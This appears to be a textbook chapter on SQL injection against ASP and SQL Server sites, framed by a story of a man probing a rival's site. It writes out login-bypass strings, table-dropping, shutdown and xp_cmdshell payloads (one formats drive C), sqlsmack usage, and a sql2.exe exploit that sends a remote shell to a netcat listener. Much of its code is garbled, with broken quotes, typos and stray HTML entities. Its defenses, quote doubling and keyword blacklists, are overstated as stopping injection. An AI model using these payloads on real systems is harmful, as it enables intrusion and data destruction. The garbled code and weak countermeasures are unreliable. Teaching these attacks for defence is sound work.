Team LiB
Previous Section Next Section

Module Objectives

In this module, the reader will be introduced to the concept of SQL injection and how an attacker can exploit this attack methodology on the Internet. On completion of this module you will be familiar with:

SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database.

This is perhaps the simplest definition of SQL injection. Naturally, the first step in this direction should be to uncover web applications that are vulnerable to the attack. The attack takes advantage of poor code and website administration.

Concept 

In SQL injection, user controlled data is placed into a SQL query without being validated for correct format or embedded escape strings. It has been known to affect majority of applications which use a database backend and do not filter variable types. It has been estimated that at least 50% of the large e-commerce sites and about 75% of the medium to small sites are vulnerable to this attack. The dominant cause is the improper validation in CFML, ASP, JSP, and PHP codes.

Mark had just found out that his ex-partner in the e-commerce venture had convinced the venture capitalist to divert the funds from his company to a rival organization. Mark had been suspecting this for a while, ever since his partner Nicholas had mentioned that he was pulling out as he had too many commitments on hand.

The rival site was already in production and Mark was curious as to how they could host it so quickly. He had been working on his site for a month now and knew the extent of code validation a similar site would require.

He clicked on the banner ad and started browsing the site. The idea behind the site looked very familiar - including the byline. Would the code also be familiar? He would soon find out.

Attack Methods 

How does an attacker go about uncovering the susceptible web application? This discovery phase includes activities such as looking at web pages for anything resembling an ID number, category, or name. The attacker may sift through all forms of variables as well as cookies. Many a times session cookies are stored in a database and these cookies are passed into SQL queries with little or no format checks. He may try placing various strings into form fields and in query variables. However, typically, someone looking for SQL vulnerability will start off with single and double quotes and then try with parenthesis and the rest of the punctuation characters. The response expected is any response signifying an error.

Mark began his quest using the single quote in the User ID field of the login page. It returned an error just as he had suspected it would.

Click To expand
Click To expand

Let us take a look at the error message.

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (Ox80040E14)

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Unclosed quotation mark before the character string '''.

/corner/asp/checklogin1.asp, line 7

Browser Type:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Page:

POST 36 bytes to /corner/asp/checkloginl.asp

POST Data:

userid=%27&userpwd=%27&Submit=Submit

This output is the first lead the attacker can use. He has a greater chance of succeeding if he can find out which database he is pitted against. This is called database footprinting.

Note 

Database footprinting is the process of mapping out the tables on the database. Identifying the configuration of the server is crucial in deciding how the site will be attacked. The method chosen to do this will depend on how poorly the server has been configured. In the error statement shown above, it is clear that the site is using a SQL Server.

Note that SQL Injection is the attack on the web application, not the web server or services running in the OS. It is typical of an HTML page to use the POST command to send parameters to another ASP page. On a closer look at the source code we find the "FORM" tag, <form name="form1" method="post" action="checklogin1.asp"> Let us look at the implications.

Exploits occur due to coding errors and inadequate validation checks as well. Often, the emphasis is on acquiring an input and delivering a suitable output. Web applications that do not check the validity of its input, are exposed to the attack. We have seen how a single quote was used to check the web application for SQL injection vulnerability.

Let us take a look at a login script. The login page at www.example.com/login.htm is based on this code.

<form action="Checklogin.asp" method="post">
 Username: <input type="text" name="user_name"><br>
 Password: <input type="password" name="pwdpass"><br>
 <input type="submit">
</form>

The above form points to checklogin.asp where we come across the following code.

<%
 Dim p_struser, p_strpass, objRS, strSQL
 p_struser = Request.Form ("user_name")
 p_strpass = Request. Form ("pwdpass")
 strSQL = "SELECT * FROM tblUsers " & _
     "WHERE user_name='" & p_strusr & _
    '"and pwdpass='" & p_strpass & ""'
 Set objRS = Server. CreateObject("ADODB.Recordset")
 objRS.Open strSQL, "DSN=..."

 If (objRS.EOF) Then
  Response. Write "Invalid login."
 Else
  Response. Write "You are logged in as" & objRS("user_name")
 End If

 Set objRS = Nothing
%>

At a cursory glance this code looks alright and does what it is supposed to do - check for a valid username and password and allow the user to access the site if it the credentials are valid.

Click To expand

However, note the above statement where the user input from the form is directly used to build a SQL statement. There is no input validation regarding the nature of input. It gives direct control to an attacker who wants to access the database.

For instance if the attacker enters a SELECT statement such as SELECT * FROM tblUsers WHERE user_name=" or "=" and pwdpass = " or "=", the query will be executed and all the users from the queried table will be displayed as output. Moreover, the first attacker will be logged in as the first user identified by the first record in the table. It is quite probable that the first user is the superuser or the administrator. Since the form does not check for special characters such as "=", the attacker is able to use these to achieve his malicious intent. For clarity sake, let us look at a secure code. Note the use of the REPLACE function to take care of the single quote input.

<% Else
   strSQL = "SELECT * FROM tblUsers " _ &
       "WHERE username="' & Replace (Request. Form ("usr_name"), ""', """) &'" " _ &
       "AND password="'" & Replace (Request. Form("pwdpass"),'"", """) &'";"
      Set Login = Server. CreateObject ("ADODB.Connection")
       Login. Open ("DRIVER= {Microsoft Access Driver (*.mdb)};" _ &
       "DBQ=" & Server.MapPath ("login.mdb"))
      Set rstLogin = Login. Execute (strSQL)
 If Not rstLogin.EOF then
%>

Note 

SQL Server, among other databases, delimits queries with a semi-colon. The use of a semicolon allows multiple queries to be submitted as one batch and executed sequentially. For example, the query Username: 'or 1=1; drop table users; -- will be executed in two parts. Firstly, it would select the username field for all rows in the users table. Secondly, it would delete the users table.

In the preceding example we have seen how web application vulnerability could be detected using a single quote. We have also seen how improper input validation can result in an attacker accessing the database. Here, we will examine how an attacker can guess his way into the site.

Attack Methods 

From database fingerprinting, if the attacker has determined that the database backend is SQL server, he will try his luck with the default admin login credentials - namely sa and a blank password.

Alternatively he can issue a query so that his query would retrieve a valid username. For instance, to retrieve the administrative account, he can query for users.userName like 'ad%' --

Now if the attacker does not want to login and just wants to 'harvest' the site, he may try to view extra information which is not otherwise available. He can choose to transform the url such as the ones shown below to retrieve information.

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools

Here, the "sCategory" is the variable name, and "Tools" is the value assigned to the variable. The attacker changes this valid url into:

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Kits

If the code underlying the page has a segment similar to the one shown below:

sub_cat = request ("sCategory")
sqlstr="SELECT * FROM product WHERE Category='" & sub_cat &'""
Set rs=conn.execute (sqlstr)

Now, the value "Kits" taken in by the variable "sCategory" is attributed to sub_cat and hence the SQL statement becomes:

SELECT * FROM product WHERE Category='Kits'

Therefore the output will be a result set containing rows that match the WHERE condition. If the attacker appends the following to the valid url,

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools'or1=1—

The SQL statement becomes SELECT * FROM product WHERE Category='Tools' or 1=1 --'

This leads the query to select everything from the product table irrespective of whether Category equals "Tools' or not. The double dash " --" instructs the SQL Server to ignore the rest of the query. This is done to eliminate the last hanging single quote ('). Sometimes, it is possible to replace double dash with single hash "#".

If the database backend in question is not an SQL Server, it will not recognize the double dash. The attacker can then try appending ' or 'a'='a, which should return the same result.

Depending on the actual SQL query, the various possibilities available to the attacker are:

'or 1=1--

"or 1=1--

or1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

To use the database for his malevolent intent, the attacker needs to figure out more than just what database is running at the backend. He will have to determine the database structure and tables. Revisiting our product table, we see that the attacker can insert commands such as:

insert into Category value (warez)

Suppose the attacker wants to add a description of the files he wants to upload, he will need to determine the structure of the table. He might be able to do just that, if error messages are returned from the application according to the default behavior of ASP and decipher any value that can be read by the account the ASP application is using to connect to the SQL Server.

The insertion methods will vary according to the database at the backend. For instance, MS SQL is considered to be the easiest system for SQL Insertion. Oracle has no native command execution capability. In Sybase, the Command exec is disabled by default. However, it is similar to MS SQL - though without as many stored procedures. MySQL is very limited in scope. SubSelects are a possibility with newer versions. It is typically restricted to one SQL command per query.

Threat 

The default installation of SQL Server has the system account (sa) which is accorded all the privileges of the administrator. An attacker who happens to stumble across this account while harvesting websites can take advantage of this and gain access to all commands, delete, rename, and add databases, tables, triggers, and more. One of the attacks he can carry out when he is done with the site is to issue a denial of service by shutting down the SQL Server.

Attack Methods 

A powerful command recognized by SQL Server is SHUTDOWN WITH NOWAIT. This causes the server to shutdown, immediately stopping the Windows service. After this command has been issued, the service must be manually restarted by the administrator. Let us take a look at an example. At an input form such as login, which is susceptible to SQL injection, the attacker issues the following command.

Username: '; shutdown with nowait; --
Password: [Anything]

This would make our login.asp script run the following query:

select userName from users where userName=";
shutdown with nowait; --'and userPass="

The '--' character sequence is the 'single line comment' sequence in Transact -SQL, and the ';' character denotes the end of one query and the beginning of another. If he has used the default sa account, or has acquired the required privileges, SQL server will shut down, and will require a restart in order to function again.

Note 

A stored procedure is a collection of SQL statements that can be called as though they were a single function. A SQL stored procedure is similar to a batch file - both are text files consisting of commands, and can be run by invoking the name of the procedure or batch file. An extended stored procedure (XP) takes the notion of a stored procedure one step further. Where stored procedures consist of text files, XPs are written in high-languages like C and compiled into .DLLs. Stored procedures primarily consists of SQL commands, while XPs can provide entirely new functions via their code.

Attack Methods 

An attacker can take advantage of extended stored procedure by entering a suitable command. This is possible if there is no proper input validation. xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example: exec master..xp_cmdshell 'dir' will obtain a directory listing of the current working directory of the SQL Server process. In our example, the attacker may try entering the following input into a search form can be used for the attack.

' exec master..xp_cmdshell 'product handy cam/DELETE' --

When the query string is parsed and sent to SQL Server, the server will process the following code:

SELECT * FROM PTable WHERE input text =" exec master..xp_cmdshell ' product
handycam/DELETE' --'

The advantage of this attack method is that the DLL file only needs to be present on a machine accessible by the SQL Server. Here, the first single quote entered by the user closes the string and SQL Server executes the next SQL statements in the batch including a command to delete a product to the product table in the database.

It is possible for an attacker to leverage built-in extended stored procedures which are provided for the creation of ActiveX Automation scripts in SQL server. These scripts are typically written in VBScript or JavaScript, and they create automation objects and interact with them. They are functionally similar to ASP scripts. Similarly an automation script written in Transact-SQL can accomplish what an ASP script or a WSH script will do.

Of the possible attack methodologies, this is an interesting one documented by Chris Anley in his oft quoted paper 'Advanced SQL Injection techniques'. This is one example from his paper that illustrates this aspect.

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers belong to us', 528

waitfor delay '00:00:05'

This uses the 'speech.voicetext' object, causing the SQL Server to speak.

Note 

We have discussed password cracking earlier in different contexts. When it comes to SQL Server, the fundamental attack methodology remains the same - dictionary attack and brute force. As part of its defensive measure, SQL Server does restrict access to the password hashes in the syslogin table to administrator level users by default.

Tools 

However if the attacker has gained privileges to gain access then he can first try a dictionary attack. One such tool that can be used in this context is SQLdict. It is a dictionary attack tool for SQL Server and tests for vulnerable accounts.

If this is unsuccessful, he can opt for a brute force attack. Though it is much slower, the brute force attack computes the hashes of every single possible combination of letters, numbers and punctuation characters for comparison with the stored hashes.

Tools 

SQLExec is a command-line interface written by Egemen Tas for MS-SQL servers that will allow an attacker to execute commands on the underlying operating system, execute SQL queries and upload files to the remote server. It allows the attacker to execute remote commands as Administrator over tcp port 1433. It logs in with the default password (changeable) and includes a built-in scanner for finding unsecured hosts on the network.

It is known that MS SQL Server comes with default SA(Sys Admin) account with NULL password. It seems that many system administrators do not take care of dangers of this situation. By default SQL server comes with a few stored procedures .xp_cmdshell is one of them and used for executing commands with SQL server. Again by default SQL server installs itself with local system privileges. If someone has a right to access master database this means he can execute commands on the host. If the connected user is SA then commands are executed with the context of SQL server (Local System by default) otherwise with the context of SQLExecutiveCmdExecAccount. These behaviors occur with default installations.

Tools 

This tool can be used to audit the strength of SQL Server passwords offline. The tool can be used either in Brute Force mode or in Dictionary attack mode. The performance on a 1 GHz Pentium (256mb) is around 750 000 guesses/sec.

The program takes the password hashes as the input (The password hashes needs to be formatted in a text file accordingly) <username>, <hash>

Tools 

This tool allows an attacker to execute commands by piping them through the xp_cmdshell stored procedure. Usage of this tool requires a valid username and password combination..

[sqlsmack installation]

  1. Install FreeTDS (url: http://www.freetds.org/download.html)

    $ tar -zpxvf freetds-o.XX.tgz
    $ cd freetds-0.XX
    $ ./configure --with-tdsver=70 --enable-msdblib
    $ make
    $ su
    # make install
    
  2. Install the FreeTDS PERL Module (url: http://www.cpan.org/authors/id/S/SP/SPANNRING)

    * This assumes you already have the DBI module installed.
    $ tar -zpxvf DBD-FreeTDS-o.XX.tgz
    $ cd DBD-FreeTDS-o.XX
    $ perl Makefile.PL
    $ make
    $ su
    # make install
    
  3. Usage

    [run system commands]
    $ ./sqlsmack.pl -h <ip> -c'net view'
    [dump databases records]
    $ ./sqlsmack.pl -h <ip> -d MONEYDB -q'SELECT * FROM users'
    
Tools 

Using sql2.exe, a remote user can reportedly send a specially crafted packet to the SQL Server 2000 Resolution Service on UDP port 1434 to trigger one of two overflows, a heap overflow or a stack overflow. This could cause the SQL server service to crash or it could cause arbitrary code to be executed in the security context of the SQL Server service.

This tool will compromise the SQL Server and spawn a remote shell to a system of the attacker's choosing. The tool exploits a buffer overflow. Traditional Windows shellcode uses pipes to communicate to shell and the process - using the pipes as standard in, out and error. This code uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess() as the handle for standard in, out and error. Once the shell has been created it then connects out to a given IP address and port. It therefore becomes a remote exploit which uses UDP to overflow a buffer and send a shell to tcp port 53.

SQL2 Syntax

Launch two command prompt windows:

CMD Window 1 Launch Netcat
c:\> nc -1 -p 53
CMD Window 2 Launch SQL2 tool
c:\> sql2.exe 2.3.4.5 5.6.4.4 53 0
(sql2 <victim's ip> <your ip> <netcat port> <SQL Service pack>)

This tool gained popularity as the code was used in the slammer worm, which affected a large number of SQL Servers.

Countermeasure 

As we've seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you're greatly reducing the chance of an injection attack succeeding.

Using ASP, it's a simple matter of creating a generic replace function that will handle the single quotes automatically, like this:

<%
function stripQuotes(strWords) <br />
stripQuotes = replace (strWords, &quot;'&quot;, &quot;"&quot ;) <br />
end function
%>

Now if we use the stripQuotes function in conjunction with our first query for example, then it would go from this:

select count(*) from users where userName='alice' and
userPass=" or 1=1 --'

...to this:

select count(*) from users where userName='alice' and
userPass="' or 1=1 --'

This, in effect, stops the injection attack from taking place, because the clause for the WHERE query now requires both the userName and userPass fields to be valid.

Countermeasure 

Remove Culprit Characters/Character Sequences: As we have seen before, certain characters and character sequences such as; --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further. As with the single quote solution, we just need a basic function to handle this:

<%
function killChars(strWords)
dim badChars
dim newChars
badChars = array("select", "drop",";","--", "insert",
"delete", "xp_")
newChars = strWords
for i = o to uBound(badChars)
newChars = replace(newChars, badChars(i),"")
next
killChars = newChars
end function
%>

Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if the query:

select prodName from products where id=1; xp_cmdshell 'format
c: /q /yes '; drop database targetDB; --

is run through stripQuotes and then killChars, it would end up looking like this:

prodName from products where id=1 cmdshell "format c:
/q /yes " database targetDB

This is basically useless, and will return no records from the query. By keeping all text boxes and form fields as short as possible, the number of characters that can be used to formulate an SQL injection attack is greatly reduced. Additional countermeasures include checking data type, and using the post method where possible to post forms.


Team LiB
Previous Section Next Section